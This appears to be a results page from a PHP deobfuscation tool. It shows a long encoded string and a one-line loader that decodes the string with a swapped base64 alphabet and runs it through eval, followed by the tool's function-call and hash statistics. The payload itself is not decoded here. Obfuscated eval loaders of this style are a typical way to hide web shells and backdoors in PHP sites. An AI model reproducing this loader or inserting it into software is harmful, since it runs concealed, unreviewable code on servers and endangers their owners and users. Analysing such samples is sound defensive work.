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";
eval('?>'.base64_decode(strtr(substr($O0O000,52*2),substr($O0O000,52,52),
substr($O0O000,0,52))));
?>
Function Calls
strtr | 1 |
substr | 3 |
base64_decode | 1 |
Stats
MD5 | 53ac400d6956fca5c92263588a2f76db |
Eval Count | 1 |
Decode Time | 134 ms |